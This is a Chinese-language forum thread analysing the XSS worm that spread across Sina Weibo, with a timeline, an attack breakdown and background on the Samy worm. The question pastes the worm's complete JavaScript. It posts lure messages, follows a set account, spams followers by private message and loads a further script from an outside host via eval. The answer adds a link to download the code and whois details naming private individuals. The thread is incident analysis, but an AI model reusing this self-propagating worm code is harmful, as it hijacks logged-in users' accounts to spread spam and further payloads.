寻求新浪微博被攻击完整技术分析
求今晚新浪微博被黑的技术分析。
目前收集到的资料 (均来自网络) :
(大图链接 ->
http://ww2.sinaimg.cn/large/56b798f8g...
)
最新补充:
xss 链接 -> 163.fm 跳板 -> t.cn 短链
熊猫烧香李俊提供的:
相关代码:
function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Microsoft.XMLHTTP"); } function getappkey(url){ xmlHttp = createXHR(); xmlHttp.open("GET",url,false); xmlHttp.send(); result = xmlHttp.responseText; id_arr = ''; id = result.match(/namecard=\"true\" title=\"[^\"]*/g); for(i=0;i<id.length;i++){ sum = id[i].toString().split('"')[3]; id_arr += sum + '||'; } return id_arr; } function random_msg(){ link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();; var msgs = [ '郭美美事件的一些未注意到的细节:', '建党大业中穿帮的地方:', '让女人心动的100句诗歌:', '3D肉团团高清普通话版种子:', '这是传说中的神仙眷侣啊:', '惊爆!范冰冰艳照真流出了:', '杨幂被爆多次被潜规则:', '傻仔拿锤子去抢银行:', '可以监听别人手机的软件:', '个税起征点有望提到4000:']; var msg = msgs[Math.floor(Math.random()*msgs.length)] + link; msg = encodeURIComponent(msg); return msg; } function post(url,data,sync){ xmlHttp = createXHR(); xmlHttp.open("POST",url,sync); xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8"); xmlHttp.send(data); } function publish(){ url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url,data,true); } function follow(){ url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile'; post(url,data,true); } function message(){ url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; ids = getappkey(url); id = ids.split('||'); for(i=0;i<id.length - 1 & i<5;i++){ msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime(); msg = random_msg(); msg = encodeURIComponent(msg); user = encodeURIComponent(encodeURIComponent(id[i])); data = 'content=' + msg + '&name=' + user + '&retcode='; post(msgurl,data,false); } } function main(){ try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){} } try{ x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x); } catch(e){} main(); var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
这次的攻击是利用微博广场页面 weibo.com/pub/star 有XSS漏洞,被植入了恶意JS脚本
新浪微博pm说:基本定位了这次攻击的原因,微博广场页面 weibo.com/pub/star 有XSS漏洞,被植入了恶意JS脚本。初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。(来自知乎)
业内人员称发生这次用户中毒的原因是,新浪微博的第三方软件API接口被人利用,通过csrf漏洞制造了蠕虫病毒,这一病毒可以未经用户授权转发链接,而链接中包括的js代码则有继续感染其他用户的危害。该病毒并不会窃取用户密码。
希望大家一起来分析研究。
Answers
一、事件的经过
新浪微博突然出现大范围“中毒”,大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,2kt.cn中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕
影响有多大:32961(这位hellosamy在帐号被封前的好友数量)。
二、采用了什么样的攻击方法
1、利用了新浪微博存在的XSS漏洞;
2、使用有道提供的短域名服务(这些网址目前已经“无害”);
例如,通过
http://163.fm/PxZHoxn
,将链接指向:
http://weibo.com/pub/star/g/xyyyd%22%...
3、当新浪登陆用户不小心访问到相关网页时,由于处于登录状态,会运行这个js脚本做几件事情:
a.发微博(让更多的人看到这些消息,自然也就有更多人受害);
b.加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
c.发私信,给好友发私信传播这些链接;
三、攻击者是谁?
攻击者不一定是2kt.cn的拥有者。目前暂时只能获得2kt.cn域名、网站拥有者信息如下。
不排除这个网站被攻击后,服务器被人放置恶意代码。
通过whois查询,2kt.cn的域名拥有者信息如下:
localhost% whois 2kt.cn Domain Name: 2kt.cn ROID: 20081025s10001s69222533-cn Domain Status: ok Registrant Organization: 北京新网数码信息技术有限公司 Registrant Name: 张志 Administrative Email: [email protected] Sponsoring Registrar: 北京新网数码信息技术有限公司 Name Server:ns.xinnetdns.com Name Server:ns.xinnet.cn Registration Date: 2008-10-25 04:22 Expiration Date: 2011-10-25 04:22
通过工信部的备案查询: http://www.miibeian.gov.cn/publish/qu...
网站负责人姓名:刘孝德
网站备案/许可证号:苏ICP备10108026号-1
四、为什么叫hellosamy?
2005年,首个利用跨站点脚本缺陷的蠕虫samy被“创造”出来了。Samy利用网站设计方面的缺陷,创建了一份“恶意”的用户档案,当该用户档案被浏览时,就会自动地激活代码,将用户添加到Samy的“好友”列表中。另外,恶意代码还会被拷贝到用户的档案中,当其他人查看用户的档案时,蠕虫会继续传播。Samy蠕虫能够造成与拒绝服务相当的效应,会造成好友列表中好友数量呈指数级增长,最终会消耗系统的大量资源。
因此,这次新浪微博的蠕虫,象是在对samy蠕虫致敬
五、参考信息
samy蠕虫的传播经历与技术细节: http://namb.la/popular , http://namb.la/popular/tech.html
六、本次蠕虫事件中的代码下载
http://t.cn/aNhKgc?u=1319542477